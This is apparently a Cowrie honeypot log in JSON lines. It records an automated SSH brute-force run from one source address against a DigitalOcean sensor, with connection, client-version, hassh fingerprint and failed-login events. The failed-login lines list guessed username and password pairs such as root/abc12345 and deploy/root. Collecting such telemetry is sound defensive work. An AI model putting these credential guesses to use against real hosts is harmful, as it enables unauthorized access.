{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:30.022469Z","src_ip":"192.109.200.237","session":"655b93395368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59736,"dst_ip":"159.203.135.109","dst_port":22,"session":"148eca9f4774","protocol":"ssh","message":"New connection: 192.109.200.237:59736 (159.203.135.109:22) [session: 148eca9f4774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:31.874623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:31.883240Z","src_ip":"192.109.200.237","session":"148eca9f4774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:31.966192Z","src_ip":"192.109.200.237","session":"148eca9f4774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:32.212599Z","src_ip":"192.109.200.237","session":"148eca9f4774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:33.298110Z","src_ip":"192.109.200.237","session":"148eca9f4774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.96393871307373,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:34.404799Z","src_ip":"152.42.224.71","session":"49fdd6ebe32a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59752,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6b25291800","protocol":"ssh","message":"New connection: 192.109.200.237:59752 (159.203.135.109:22) [session: 1b6b25291800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:35.298523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:35.342547Z","src_ip":"192.109.200.237","session":"1b6b25291800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:35.383778Z","src_ip":"192.109.200.237","session":"1b6b25291800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:35.704481Z","src_ip":"192.109.200.237","session":"1b6b25291800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:36.793854Z","src_ip":"192.109.200.237","session":"1b6b25291800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59758,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccf8ca068c9f","protocol":"ssh","message":"New connection: 192.109.200.237:59758 (159.203.135.109:22) [session: ccf8ca068c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:38.706438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:38.710956Z","src_ip":"192.109.200.237","session":"ccf8ca068c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:38.793049Z","src_ip":"192.109.200.237","session":"ccf8ca068c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:39.039493Z","src_ip":"192.109.200.237","session":"ccf8ca068c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:40.124858Z","src_ip":"192.109.200.237","session":"ccf8ca068c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42366,"dst_ip":"159.203.135.109","dst_port":22,"session":"07aee95bd921","protocol":"ssh","message":"New connection: 192.109.200.237:42366 (159.203.135.109:22) [session: 07aee95bd921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:42.016330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:42.021506Z","src_ip":"192.109.200.237","session":"07aee95bd921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:42.103777Z","src_ip":"192.109.200.237","session":"07aee95bd921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:42.350364Z","src_ip":"192.109.200.237","session":"07aee95bd921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:43.499678Z","src_ip":"192.109.200.237","session":"07aee95bd921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42376,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca961569ea98","protocol":"ssh","message":"New connection: 192.109.200.237:42376 (159.203.135.109:22) [session: ca961569ea98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:45.339944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:45.344977Z","src_ip":"192.109.200.237","session":"ca961569ea98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:45.427583Z","src_ip":"192.109.200.237","session":"ca961569ea98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:45.763785Z","src_ip":"192.109.200.237","session":"ca961569ea98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:46.849052Z","src_ip":"192.109.200.237","session":"ca961569ea98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42392,"dst_ip":"159.203.135.109","dst_port":22,"session":"517dcf14ad1b","protocol":"ssh","message":"New connection: 192.109.200.237:42392 (159.203.135.109:22) [session: 517dcf14ad1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:48.828277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:48.834774Z","src_ip":"192.109.200.237","session":"517dcf14ad1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:48.917982Z","src_ip":"192.109.200.237","session":"517dcf14ad1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:49.169011Z","src_ip":"192.109.200.237","session":"517dcf14ad1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:50.254115Z","src_ip":"192.109.200.237","session":"517dcf14ad1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55324,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b66dec199e4","protocol":"ssh","message":"New connection: 192.109.200.237:55324 (159.203.135.109:22) [session: 2b66dec199e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:52.088011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:52.091918Z","src_ip":"192.109.200.237","session":"2b66dec199e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:52.172918Z","src_ip":"192.109.200.237","session":"2b66dec199e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:52.416893Z","src_ip":"192.109.200.237","session":"2b66dec199e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:53.501937Z","src_ip":"192.109.200.237","session":"2b66dec199e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.50659108161926,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:53.983891Z","src_ip":"152.42.224.71","session":"847e5408c455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55340,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a8cfec2b7ed","protocol":"ssh","message":"New connection: 192.109.200.237:55340 (159.203.135.109:22) [session: 7a8cfec2b7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.437951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.443356Z","src_ip":"192.109.200.237","session":"7a8cfec2b7ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.527100Z","src_ip":"192.109.200.237","session":"7a8cfec2b7ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":41130,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff52f80da45d","protocol":"ssh","message":"New connection: 43.153.37.39:41130 (10.17.0.5:22) [session: ff52f80da45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.733827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.739235Z","src_ip":"43.153.37.39","session":"ff52f80da45d","protocol":"ssh"}
